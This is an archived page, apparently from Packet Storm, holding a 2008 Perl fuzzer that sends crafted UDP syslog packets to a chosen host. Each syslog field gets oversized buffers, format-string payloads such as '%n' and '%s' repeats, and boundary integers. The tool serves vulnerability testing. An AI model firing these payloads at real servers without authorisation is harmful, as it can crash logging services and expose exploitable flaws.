the internet's safety

syslog-fuzzer.txt

syslog-fuzzer.txt
Posted Apr 9, 2008
Authored by Jaime Blasco | Site aitsec.com

Syslog Fuzzer is a small perl script tool that is useful for testing some attack vectors against syslog servers. It has support for buffer/integer overflows and format string vulnerabilities.

tags | overflow, perl, vulnerability, fuzzer
MD5 | 7a282e1f7d9772d3b3cb116e108c966c

syslog-fuzzer.txt

Change Mirror Download
#!/usr/bin/perl
#syslog Fuzzer v0.1
#jaime.blasco@aitsec.com
#www.aitsec.com

use IO::Socket::INET;
use Getopt::Std;
use POSIX qw(strftime);

getopt('hp', \ my %opts );

$SIG{INT}=\&exitz;
print "
\t Syslog Fuzzer v0.1 by Jaime Blasco (c) 2008
\t www.aitsec.com
";
if(!defined($opts{h}) or !defined($opts{p})){
print "
-h : Host\n
-p : Port Number
";
exit
}

$port = $opts{p};
$host = $opts{h};

@bfo = ('A'x10, 'A'x20, 'A'x40, 'A'x80, 'A'x160, 'A'x320, 'A'x640, 'A'x1280, 'A'x3000, 'A'x5000, 'A'x8000, 'A'x12000, 'A'x15000);
@fse = ("%s%p%x%d", ".1024d", "%.2049d", "%p%p%p%p", "%x%x%x%x", "%d%d%d%d", "%s%s%s%s", "%99999999999s",
"%08x", "%%20d", "%%20n", "%%20x", "%%20s", "%s%s%s%s%s%s%s%s%s%s", "%p%p%p%p%p%p%p%p%p%p",
"%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%", "%s"x150, "%x"x300);
@int = ("-1", "0", "0x100", "0x1000", "0x3fffffff", "0x7ffffffe", "0x7fffffff", "0x80000000", "0xfffffffe", "0xffffffff", "0x10000", "0x100000");

print "Using host: ".$host."\n";
print "Using port: ".$port."\n";

$con=new IO::Socket::INET->new(PeerPort=>$port,
Proto=>'udp',
PeerAddr=>$host);

#http://www.ietf.org/rfc/rfc3164.txt
#udp SYSLOG PACKET looks like:
#<Priority>Header Message text
# Header = Date Hostname PID

$npriority = '<0>';
$ndate = strftime "%b%e %H:%M:%S", localtime;
$nhostname = "10.0.0.2";
$npid = 'fuzzer[10]';
$nmsg = "Syslog Fuzzer v0.1 by Jaime Blasco (c) 2008";

#fuzzing PRI

#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$nhostname.' '.$npid;
$packet = '<'.$_.'>'.$header.': '.$nmsg;
$con->send($packet);

#print $packet;
}
sleep 1;

#Format Strings
foreach (@fse) {
$header = $ndate.' '.$nhostname.' '.$npid;
$packet = '<'.$_.'>'.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$nhostname.' '.$npid;
$packet = '<'.$_.'>'.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#fuzzing header

#fuzzing Date

#Buffer Overflow
foreach (@bfo) {
$header = $_.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#Format Strings
foreach (@fse) {
$header = $_.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#Integer Overflows
foreach (@int) {
$header = $_.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#fuzzing hostname

#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$_.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#Format Strings
foreach (@fse) {
$header = $ndate.' '.$_.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$_.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#fuzzing PID

#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$nhostname.' '.$_;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#Format Strings
foreach (@fse) {
$header = $ndate.' '.$nhostname.' '.$_;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$nhostname.' '.$_;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;

#fuzzing msg

#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$_;
$con->send($packet);
#print $packet;
}
sleep 1;

#Format Strings
foreach (@fse) {
$header = $ndate.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$_;
$con->send($packet);
#print $packet;
}
sleep 1;

#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$_;
$con->send($packet);
#print $packet;
}





Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close